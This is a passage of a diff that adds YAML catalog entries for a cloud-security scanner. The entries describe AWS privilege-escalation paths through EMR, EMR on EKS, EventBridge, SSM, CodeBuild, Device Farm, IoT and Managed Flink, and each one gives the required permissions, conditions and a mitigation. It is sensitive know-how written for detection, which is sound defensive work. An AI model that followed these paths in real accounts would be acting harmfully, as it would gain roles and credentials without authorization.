active cluster may use the role of that cluster's EC2 instance profile. + requires: + all_of: + - action: elasticmapreduce:AddJobFlowSteps + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Instance roles of active EMR clusters in {account} + outcome: workload_execution + preconditions: + - emr_existing_cluster_step_instance_role + conditions: + - id: command_step_runs + description: The submitted command step must run on the cluster and be able to use its instance profile credentials. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict AddJobFlowSteps to approved cluster operators and keep EMR instance roles least privileged. + references: + - https://docs.aws.amazon.com/emr/latest/APIReference/API_AddJobFlowSteps.html + - https://docs.aws.amazon.com/emr/latest/ReleaseGuide/emr-commandrunner.html + - https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-iam-role-for-ec2.html + notes: The evaluator joins a RUNNING or WAITING cluster to its recorded EC2 instance profile, the exact attached IAM role, and AddJobFlowSteps on that cluster ARN. It excludes clusters with runtime-role isolation enabled and leaves uncollected security configurations unresolved. It does not require PassRole for the existing profile. + +- id: aws-emr-passrole-runjobflow + provider: aws + service: emr + source_kind: [aws_user, aws_role] + title: Launch an EMR cluster with a passed EC2 instance profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#iampassrole-elasticmapreducerunjobflow + source_revision: 171e422299 + summary: The source can launch an EMR cluster with a passable EC2 instance profile and run bootstrap code on its instances. + requires: + all_of: + - action: elasticmapreduce:RunJobFlow + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "EC2 instance-profile roles passable in {account}" + outcome: workload_execution + preconditions: + - emr_new_cluster_instance_role_effect_reviewed + conditions: + - id: emr_service_role_passable + description: RunJobFlow also requires passing an EMR service role (or the default EMR_DefaultRole must exist and be passable); PassRole must cover it too. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: runnable_step + description: The caller must provide an executable bootstrap action or step, and the selected instance profile must be attached to instances that launch successfully. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on EC2 instance-profile and EMR service roles with iam:PassedToService, and restrict elasticmapreduce:RunJobFlow. + references: + - https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-iam-role-for-ec2.html + notes: RunJobFlow has no resource type, while the selected EC2 instance-profile role and distinct EMR service role both need PassRole. A role edge requires fresh reviewed evidence of an accepted cluster launch, exact service and instance role IDs, an instance belonging to that cluster with the profile applied, controlled bootstrap or step execution and a useful action under the instance role. A requested Auto Scaling role and Spot service-linked role must also be ready when used. Missing launch or execution evidence remains unresolved. + +- id: aws-emr-addjobflowsteps-runtime-role + provider: aws + service: emr + title: Submit an EMR step under an authorized runtime role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreduceaddjobflowsteps--execute-as-an-existing-cluster-instance-profile + source_revision: e0ecce7ba7 + summary: A caller may run a command step under a selected runtime role on an existing EMR cluster with runtime roles enabled. + requires: + all_of: + - action: elasticmapreduce:AddJobFlowSteps + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + emr_runtime_role_of_cluster: true + scope: same_account + aggregate_as: Runtime roles authorized on active EMR clusters in {account} + outcome: workload_execution + preconditions: + - emr_existing_cluster_runtime_step_role + conditions: + - id: executable_step + description: The submitted step must be accepted and run under the selected runtime role; an AddJobFlowSteps grant alone does not prove that execution occurred. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope AddJobFlowSteps to approved clusters and require elasticmapreduce:ExecutionRoleArn to name only the runtime roles each operator needs. + references: + - https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-steps-runtime-roles.html + - https://docs.aws.amazon.com/emr/latest/APIReference/API_AddJobFlowSteps.html + notes: The evaluator binds a RUNNING or WAITING cluster, its runtime-role security configuration and instance profile, the host role's AssumeRole and TagSession grants, target trust, and the caller's AddJobFlowSteps grant with the selected ExecutionRoleArn. This path does not require caller iam:PassRole. + +- id: aws-emr-getclustersessioncredentials-runtime-role + provider: aws + service: emr + source_kind: [aws_user, aws_role] + title: Vend endpoint credentials for an EMR runtime role without iam:PassRole + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreducegetclustersessioncredentials--connect-to-a-runtime-role-cluster-endpoint + source_revision: 9e5d46375b53cbd2d0cdce63771f3e36f0c30bae + summary: A caller may submit work under an EMR runtime role if it can obtain endpoint credentials for that role, reach a compatible endpoint and run a permitted workload. + requires: + all_of: + - action: elasticmapreduce:GetClusterSessionCredentials + target: + kind: aws_role + selector: + emr_runtime_role_of_cluster: true + scope: same_account + aggregate_as: "EMR runtime roles of clusters with a security configuration in {account}" + conditions: + - id: credentials_are_endpoint_credentials + description: The API returns HTTP basic credentials for the cluster's endpoints (Livy / Spark through EMR Studio-style integrations) acting as the runtime role, not STS keys; the source uses the role through workloads it submits to the cluster. + - id: execution_role_condition_key + description: elasticmapreduce:ExecutionRoleArn conditions on the grant can restrict which runtime roles credentials can be retrieved for. + - id: cluster_running_with_runtime_roles + description: The cluster must be running with a security configuration that enables runtime roles (and Lake Formation / FGAC where applicable). + - id: endpoint_and_workload + description: The returned credentials authenticate only to supported HTTP endpoints; the source needs endpoint reachability and a permitted workload to obtain any role-authorized AWS effect. + preconditions: + - emr_cluster_session_runtime_role + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Constrain elasticmapreduce:GetClusterSessionCredentials with elasticmapreduce:ExecutionRoleArn to the caller's own runtime roles and keep runtime roles least-privileged. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_emr.html + - https://docs.aws.amazon.com/emr/latest/APIReference/API_GetClusterSessionCredentials.html + - https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-steps-runtime-roles.html + notes: The evaluator joins target role trust to the EC2 instance profile on a WAITING or RUNNING cluster whose named security configuration enables runtime roles. It checks GetClusterSessionCredentials on that exact cluster and requested ExecutionRoleArn. A role edge also requires fresh reviewed evidence that HTTP credentials connected to a supported endpoint, controlled work ran under the runtime role, and a useful role action succeeded. An exact sts:ExternalId trust value is compared with a SHA-256 digest from the configuration; missing evidence stays unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/emrserverless.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/emrserverless.yaml new file mode 100644 index 0000000000..9c9540a133 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/emrserverless.yaml @@ -0,0 +1,153 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon EMR Serverless privilege escalation techniques. +# Source: hacktricks-cloud aws-emr-serverless-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). EMR Serverless execution roles are chosen +# per job run or session (executionRoleArn) and trust emr-serverless.amazonaws.com; applications themselves carry no role. +# EMR on EKS (emr-containers) execution roles trust the EKS cluster OIDC provider with an emr-containers-sa-* service-account +# subject; they are selected with trust_allows_emr_containers_oidc. + +- id: aws-emr-serverless-passrole-startjobrun + provider: aws + service: emr-serverless + source_kind: [aws_user, aws_role] + title: Start an EMR Serverless job run with a passed execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessstartjobrun--emr-containersstartjobrun--iampassrole + source_revision: 171e422299 + summary: The source can run job code it controls using a passable EMR Serverless role. + requires: + all_of: + - action: emr-serverless:StartJobRun + target: + kind: aws_role + selector: + trust_allows_service: emr-serverless.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting emr-serverless.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: existing_application + description: A runnable EMR Serverless application must exist in StartJobRun scope. + - id: entrypoint_readable + description: The passed role must be able to read the job entry point the source supplies. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + preconditions: + - emr_serverless_job_route + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on EMR Serverless roles with iam:PassedToService=emr-serverless.amazonaws.com and restrict StartJobRun to orchestrators. + references: + - https://docs.aws.amazon.com/emr/latest/EMR-Serverless-UserGuide/security-iam-runtime-role.html + notes: The evaluator joins an inventoried runnable application with exact StartJobRun and PassRole grants. A role edge requires a fresh reviewed accepted job run whose source-controlled entry point was read and executed under the exact role and performed a useful action unavailable directly to the caller. The recorded PassRole service and associated-resource context are evaluated. Without that execution evidence, the route remains unresolved. + +- id: aws-emr-containers-passrole-startjobrun + provider: aws + service: emr-containers + source_kind: [aws_user, aws_role] + title: Start an EMR on EKS job run with a passed execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessstartjobrun--emr-containersstartjobrun--iampassrole + source_revision: 171e422299 + summary: The source can obtain the privileges of an EMR on EKS execution role (trusting the EKS cluster OIDC provider for emr-containers-sa-* service accounts) by running its own job code on a virtual cluster under that role. + requires: + all_of: + - action: emr-containers:StartJobRun + target: + kind: aws_role + selector: + trust_allows_emr_containers_oidc: true + scope: same_account + aggregate_as: "EMR on EKS execution roles passable in {account}" + outcome: workload_execution + conditions: + - id: virtual_cluster_exists + description: A virtual cluster must exist in StartJobRun scope, mapped to a namespace whose job service accounts the execution role trusts. + - id: execution_role_condition_key + description: emr-containers:ExecutionRoleArn and iam:PassedToService conditions may restrict which roles can be used. + preconditions: + - emr_containers_job_route + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on EMR on EKS execution roles, constrain emr-containers:ExecutionRoleArn, and scope trust subjects to specific namespaces. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_emr-containers.html + - https://docs.aws.amazon.com/emr/latest/EMR-on-EKS-DevelopmentGuide/iam-execution-role.html + notes: The evaluator joins StartJobRun on the exact RUNNING virtual cluster to a fresh reviewed job run, a controlled readable artifact, applied execution role, code execution and a useful role action unavailable to the caller. PassRole uses the recorded service and associated-resource context; absent execution evidence remains unresolved. + +- id: aws-emr-containers-passrole-startjobrun-pod-identity + provider: aws + service: emr-containers + source_kind: [aws_user, aws_role] + title: Start an EMR on EKS job through EKS Pod Identity + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessstartjobrun--emr-containersstartjobrun--iampassrole + source_revision: 171e422299 + summary: The source can submit a job with a passable execution role when its EKS Pod Identity trust and all three EMR service-account associations are in place. + requires: + all_of: + - action: emr-containers:StartJobRun + target: + kind: aws_role + selector: + trust_allows_service: pods.eks.amazonaws.com + scope: same_account + aggregate_as: "EMR on EKS Pod Identity execution roles passable in {account}" + outcome: workload_execution + conditions: + - id: job_code_readable + description: The execution role must be able to read code that the source controls, and the job must run with an EMR release supporting EKS Pod Identity. + - id: pod_identity_agent_ready + description: The EKS Pod Identity agent must be able to provide credentials to the job pods. + preconditions: + - emr_containers_pod_identity_job_route + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole to approved Pod Identity roles, scope StartJobRun to authorized virtual clusters, and avoid associating high-privilege roles with tenant-controlled job namespaces. + references: + - https://docs.aws.amazon.com/emr/latest/EMR-on-EKS-DevelopmentGuide/setting-up-enable-IAM.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_emr-containers.html + notes: The evaluator binds one RUNNING virtual cluster, an ACTIVE EKS cluster, all three recorded service-account associations, exact PassRole context for pods.eks.amazonaws.com and its EKS cluster ARN, and a fresh reviewed job run that executed controlled code with the target role and performed a useful action. + +- id: aws-emr-containers-getmanagedendpointsessioncredentials + provider: aws + service: emr-containers + source_kind: [aws_user, aws_role] + title: Open an interactive EMR on EKS session as a managed endpoint's execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-containersgetmanagedendpointsessioncredentials--iampassrole--interactive-spark-session-as-the-execution-role + source_revision: 171e422299 + summary: The source can run interactive Spark code as an EMR on EKS execution role by retrieving managed-endpoint session credentials for that role. + requires: + all_of: + - action: emr-containers:GetManagedEndpointSessionCredentials + target: + kind: aws_role + selector: + trust_allows_emr_containers_oidc: true + scope: same_account + aggregate_as: "EMR on EKS execution roles of managed endpoints in {account}" + outcome: workload_execution + conditions: + - id: managed_endpoint_exists + description: A managed (interactive) endpoint must exist on a virtual cluster and accept the execution role. + - id: endpoint_credentials + description: The credentials are a session token for the endpoint, not STS keys; the role is used through the Spark code the source runs. + preconditions: + - emr_containers_endpoint_route + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict emr-containers:GetManagedEndpointSessionCredentials and iam:PassRole on execution roles to notebook owners. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_emr-containers.html + - https://docs.aws.amazon.com/emr/latest/EMR-on-EKS-DevelopmentGuide/connect-emr-studio.html + notes: The evaluator checks the credentials action on an inventoried ACTIVE endpoint of a RUNNING virtual cluster. A role edge needs fresh reviewed evidence that the endpoint token connected, controlled code ran with the exact execution role and a useful action succeeded. Without that runtime evidence the route remains unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml new file mode 100644 index 0000000000..c573df20d5 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml @@ -0,0 +1,45 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon EventBridge privilege escalation techniques. +# Source: hacktricks-cloud aws-eventbridge-privesc/README.md (rev 171e422299). + +- id: aws-events-passrole-createsubscriber-universal-target + provider: aws + service: events + title: Create an enhanced-bus subscriber with a universal target and a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventscreatesubscriber--iampassrole--execute-supported-aws-apis-through-an-enhanced-bus-universal-target + source_revision: 6fb9ac51fd + summary: A subscriber may invoke a supported write action through a passed EventBridge role. This does not give the source the role's identity or all its permissions. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: iam:PassRole + - action: events:CreateSubscriber + target: + kind: aws_role + selector: + trust_allows_service: events.amazonaws.com + scope: same_account + aggregate_as: Roles trusting events.amazonaws.com passable in {account} + outcome: impersonation + preconditions: + - eventbridge_subscriber_has_active_bus_and_bound_permissions + conditions: + - id: enhanced_bus_and_event + description: An operational custom event bus must exist in the source's account, and the source must be able to publish a matching event to it. + - id: supported_target_action + description: EventBridge validates the universal-target action at creation and blocks some services and actions; reach is the role's permissions on supported actions only, and results are not returned. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict events:CreateSubscriber to bus owners, scope iam:PassRole on EventBridge roles with iam:PassedToService=events.amazonaws.com, and keep delivery roles least-privileged. + references: + - https://docs.aws.amazon.com/eventbridge/latest/userguide/eb-use-identity-based.html + notes: CreateSubscriber needs permission on the operational custom bus and on the new subscriber name/* ARN used for creation, plus PassRole to events.amazonaws.com. The evaluator binds one accepted universal target and matched event to a successful target delivery under the exact role, including the target action and resource, and excludes actions already available to the caller. A customer KMS key remains unresolved without verified key access. This is delegated execution of one write action, not general access to the role. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/exact-principal-v5.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/exact-principal-v5.yaml new file mode 100644 index 0000000000..29d74825cd --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/exact-principal-v5.yaml @@ -0,0 +1,214 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +- id: aws-audit-use-existing-parameterized-automation-runbook-with-runtime-passrole + provider: aws + service: ssm + title: Use existing parameterized Automation runbook with runtime PassRole + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartautomationexecution--execute-a-preauthorized-runbook-role + source_revision: 57bd5c07df + summary: The source can run an existing Automation document with a passable role + supplied through its assumeRole parameter when an observed step performs an action + that the source cannot perform directly. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: ssm.amazonaws.com + preconditions: + - ssm_existing_automation_runtime_role_effect_reviewed + target: + kind: aws_role + selector: + trust_allows_service: ssm.amazonaws.com + scope: same_account + outcome: workload_execution + conditions: + - id: exact_verified_prerequisites + description: 'A reviewed execution must bind the exact immutable Automation + document version, an assumeRole parameter supplied with the passed role, + StartAutomationExecution authorization for that document, and a successful + useful step performed under that role.' + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict the listed actions to approved operators and review the exact + target configuration. + notes: A fixed-role runbook does not allow a caller to select this role. IAM grants + on unrelated Automation documents or a passable role alone do not establish an + execution path. The document version, passed role, actual execution and useful + role action must be joined; missing facts stay UNKNOWN. + references: + - https://cloud.hacktricks.wiki/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/ +- id: aws-codebuild-ssm-debug-session-role + provider: aws + service: codebuild + title: Connect to a paused CodeBuild build through Session Manager + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#ssm + source_revision: 57bd5c07df + summary: A live paused CodeBuild debug session may give shell access under the + role used by that exact build when Session Manager access and an actual role + action are observed. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: ssm:StartSession + preconditions: + - codebuild_ssm_debug_session_role_effect_reviewed + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + outcome: workload_execution + conditions: + - id: live_breakpoint + description: The exact running build must have session connections enabled and be paused at codebuild-breakpoint. + - id: verified_collector_fact + description: A fresh reviewed session must bind the build's sessionTarget, its actual service role, StartSession authorization and a useful action performed with that role. + confidence: conditional + severity: high + mitigation: Restrict the named operation to trusted administrators and review downstream + grants. + references: + - https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html + - https://docs.aws.amazon.com/codebuild/latest/APIReference/API_DebugSession.html + notes: A CodeBuild Sandbox or an unpaused build does not establish this path. IAM + permission on another Session Manager target and the project's configured role + do not prove access to this build, which may use a role override. Missing runtime + joins or shell effects remain UNKNOWN. +- id: aws-devicefarm-schedulerun-existing-test-spec-passrole + provider: aws + service: devicefarm + title: Schedule an existing malicious Device Farm test spec with a passed role + summary: Attacker commands execute inside the Device Farm test runtime with the + passed execution role. Conditional principal access requires the exact inventoried + identity, usable authority equivalent to its observed full IAM rights, fresh evidence + and matching authorization fingerprint. A scoped token/session is insufficient. + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-device-farm-privesc/README.md#devicefarmcreateprojectupdateprojectschedulerun--iampassrole + source_revision: 57bd5c07df + requires: + all_of: + - action: devicefarm:ScheduleRun + source_kind: [aws_user, aws_role] + preconditions: + - devicefarm_existing_test_spec_role_effect_reviewed + target: + kind: aws_role + selector: + aws_challenge_fact: aws-devicefarm-schedulerun-existing-test-spec-passrole + scope: same_account + outcome: workload_execution + conditions: + - id: condition_1 + description: An existing project, compatible app/test package, device pool and + attacker-controlled custom test-spec upload already exist. + - id: condition_2 + description: configuration.executionRoleArn in ScheduleRun overrides the project + role; a new CreateUpload or CreateProject/UpdateProject is unnecessary in this + case. + - id: verified_collector_fact + description: The requested collector fact must bind the source, exact resource, + newly reachable authority and all runtime prerequisites; without it the result + is UNKNOWN. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict the required actions to reviewed resources and principals. + references: + - https://docs.aws.amazon.com/devicefarm/latest/APIReference/API_ScheduleRun.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_devicefarm.html + - https://docs.aws.amazon.com/devicefarm/latest/APIReference/API_Upload.html + notes: The evaluator joins an existing project, compatible pool, successful Appium + Web Node test spec and package uploads, exact scoped ScheduleRun grants and PassRole + to devicefarm.amazonaws.com. Fresh reviewed evidence must show the controlled spec + ran under the role and performed a useful action unavailable to the caller. Missing + or mismatched resources, restricted sessions and stale evidence stay unresolved. +- id: aws-iot-byo-certificate-existing-rolealias + provider: aws + service: iot + title: Use a BYO certificate with an existing privileged role alias + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotregistercertificatewithoutca--register-an-attacker-generated-byo-certificate-as-a-device-identity + source_revision: 57bd5c07df + summary: The source can register an attacker-held certificate and attach a policy + that permits credential exchange through an existing role alias. Conditional principal + access requires the exact inventoried identity, usable authority equivalent to + its observed full IAM rights, fresh evidence and matching authorization fingerprint. + A scoped token/session is insufficient. + requires: + all_of: + - action: iot:RegisterCertificateWithoutCA + resource: '*' + - action: iot:AttachPolicy + resource: '*' + target: + kind: aws_role + selector: + aws_challenge_fact: aws-iot-byo-certificate-existing-rolealias + scope: same_account + outcome: credentials + severity: high + mitigation: Restrict certificate registration and policy attachment, and scope role-alias + policies tightly. + references: + - https://docs.aws.amazon.com/iot/latest/developerguide/authorizing-direct-aws.html + - https://docs.aws.amazon.com/iot/latest/apireference/API_RegisterCertificateWithoutCA.html + confidence: conditional + conditions: + - id: active_certificate_existing_alias + description: Certificate is registered ACTIVE; an attachable policy allows AssumeRoleWithCertificate + on an existing alias pointing to the target role; if policy must be created, + iot:CreatePolicy is additionally required. + - id: verified_collector_fact + description: The requested collector fact must bind the source, exact resource, + newly reachable authority and all runtime prerequisites; without it the result + is UNKNOWN. + notes: The existing role alias must be inventoried with RoleArn equal to the exact target role. Fresh reviewed evidence binds an attacker-held ACTIVE certificate, registration without a CA, AttachPolicy on that certificate, an attached IoT policy allowing AssumeRoleWithCertificate on that alias, and successful credential-provider authentication. The full-principal attestation also needs the target's current authorization fingerprint and a usable unrestricted role session. Missing alias detail, mismatched role or certificate, or incomplete credential evidence remains UNKNOWN. +- id: aws-iot-provisioning-claim-existing-rolealias + provider: aws + service: iot + title: Mint a provisioning certificate for an existing privileged role alias + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotcreateprovisioningtemplate--iampassrole--iotcreateprovisioningclaim--self-replenishing-fleet-of-attacker-certificates + source_revision: 57bd5c07df + summary: A claim-derived device certificate can use an IoT policy permitting credential + exchange through an existing role alias. Conditional principal access requires + the exact inventoried identity, usable authority equivalent to its observed full + IAM rights, fresh evidence and matching authorization fingerprint. A scoped token/session + is insufficient. + requires: + all_of: + - action: iot:CreateProvisioningTemplate + resource: '*' + - action: iot:CreateProvisioningClaim + resource: '*' + - action: iam:PassRole + resource: '*' + target: + kind: aws_role + selector: + aws_challenge_fact: aws-iot-provisioning-claim-existing-rolealias + scope: same_account + outcome: credentials + severity: high + mitigation: Restrict provisioning-template creation, claim minting, passable registration + roles, and role-alias policies. + references: + - https://docs.aws.amazon.com/iot/latest/developerguide/provisioning-templates.html + - https://docs.aws.amazon.com/iot/latest/developerguide/authorizing-direct-aws.html + confidence: conditional + conditions: + - id: existing_alias_chain + description: Template binds an active certificate to an IoT policy allowing AssumeRoleWithCertificate + on an existing role alias that points to the target role; claim must be used + over MQTT. + - id: verified_collector_fact + description: The requested collector fact must bind the source, exact resource, + newly reachable authority and all runtime prerequisites; without it the result + is UNKNOWN. + notes: The existing role alias must be inventoried with RoleArn equal to the exact target role. Fresh reviewed evidence binds CreateProvisioningTemplate and CreateProvisioningClaim to the same exact template, PassRole to a distinct provisioning role for iot.amazonaws.com, a claim used over MQTT, an ACTIVE permanent certificate with an attached policy allowing AssumeRoleWithCertificate on that alias, and successful credential-provider authentication. The full-principal attestation needs the target's current authorization fingerprint and a usable unrestricted role session. Missing alias detail, mismatched template or role, or incomplete credential evidence remains UNKNOWN. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/fis.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/fis.yaml new file mode 100644 index 0000000000..09c1909ce4 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/fis.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Fault Injection Service privilege escalation techniques. +# Source: hacktricks-cloud aws-fis-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml new file mode 100644 index 0000000000..64a7144e2a --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml @@ -0,0 +1,116 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Managed Service for Apache Flink privilege escalation techniques. +# Source: hacktricks-cloud aws-managed-flink-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). Applications carry a service execution role +# trusting kinesisanalytics.amazonaws.com; IAM actions use the kinesisanalytics prefix. + +- id: aws-flink-studio-presigned-url + provider: aws + service: kinesisanalytics + title: Open an existing Studio notebook with its execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#studio-presigned-url-to-zeppelin-execution + source_revision: 171e422299 + summary: A principal allowed to open a running Studio notebook may run work through its recorded execution role. + requires: + all_of: + - action: kinesisanalytics:CreateApplicationPresignedUrl + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Execution roles of running Studio notebooks in {account} + outcome: workload_execution + preconditions: + - flink_existing_studio_role_session + conditions: + - id: notebook_execution + description: The presigned URL must be used while valid and the notebook must permit code or query execution. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict CreateApplicationPresignedUrl to approved Studio notebooks and keep notebook execution roles least privileged. + references: + - https://docs.aws.amazon.com/managed-flink/latest/apiv2/API_CreateApplicationPresignedUrl.html + - https://docs.aws.amazon.com/managed-flink/latest/apiv2/API_DescribeApplication.html + - https://docs.aws.amazon.com/managed-flink/latest/java/how-notebook.html + notes: The evaluator joins a RUNNING INTERACTIVE application to its recorded ServiceExecutionRole and requires CreateApplicationPresignedUrl on the same application ARN. No PassRole or application mutation is needed. + +- id: aws-flink-passrole-createapplication + provider: aws + service: kinesisanalytics + title: Create and start a Managed Flink application with a passed execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#createapplication--iampassrole--malicious-code + source_revision: 171e422299 + summary: The source can start Flink application code it controls using a passable service role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: kinesisanalytics.amazonaws.com + - action: kinesisanalytics:CreateApplication + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: kinesisanalytics.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting kinesisanalytics.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - flink_new_application_startable + conditions: + - id: controlled_code + description: The source can provide application ZIP content in CreateApplication; code supplied from S3 instead needs the execution role to read that object. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole on Flink roles with iam:PassedToService=kinesisanalytics.amazonaws.com and restrict CreateApplication to the deployment pipeline. + references: + - https://docs.aws.amazon.com/managed-flink/latest/apiv2/API_CreateApplication.html + notes: The service does not expose role credentials directly; the code acts with the role's permissions. CreateApplication is authorized on * and StartApplication on the new application's ARN. + +- id: aws-flink-updateapplication-inline-code-existing-role + provider: aws + service: kinesisanalytics + title: Replace running Flink application code under its execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#updateapplication--code-control--application-execution-role + source_revision: 171e422299 + summary: The source can submit an inline ZIP update to a running streaming application, which restarts with code using its recorded service role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: kinesisanalytics.amazonaws.com + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Execution roles of running Flink applications whose code the source can update in {account} + outcome: workload_execution + preconditions: + - flink_existing_streaming_inline_code_update + conditions: + - id: successful_update + description: The submitted ZIP must be a valid application and the code update must complete successfully. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict UpdateApplication on privileged applications and PassRole on their service roles to trusted deployment principals. + references: + - https://docs.aws.amazon.com/managed-flink/latest/apiv2/API_UpdateApplication.html + - https://docs.aws.amazon.com/managed-flink/latest/apiv2/API_CodeContentUpdate.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_kinesisanalytics.html + notes: UpdateApplication accepts ZipFileContentUpdate, so no S3 object-write grant is needed for this variant. The evaluator joins one RUNNING STREAMING application to its exact recorded role and checks UpdateApplication on that ARN. The AWS authorization reference lists iam:PassRole as a dependent action. A successful update and useful role-authorized code action remain conditional. diff --git 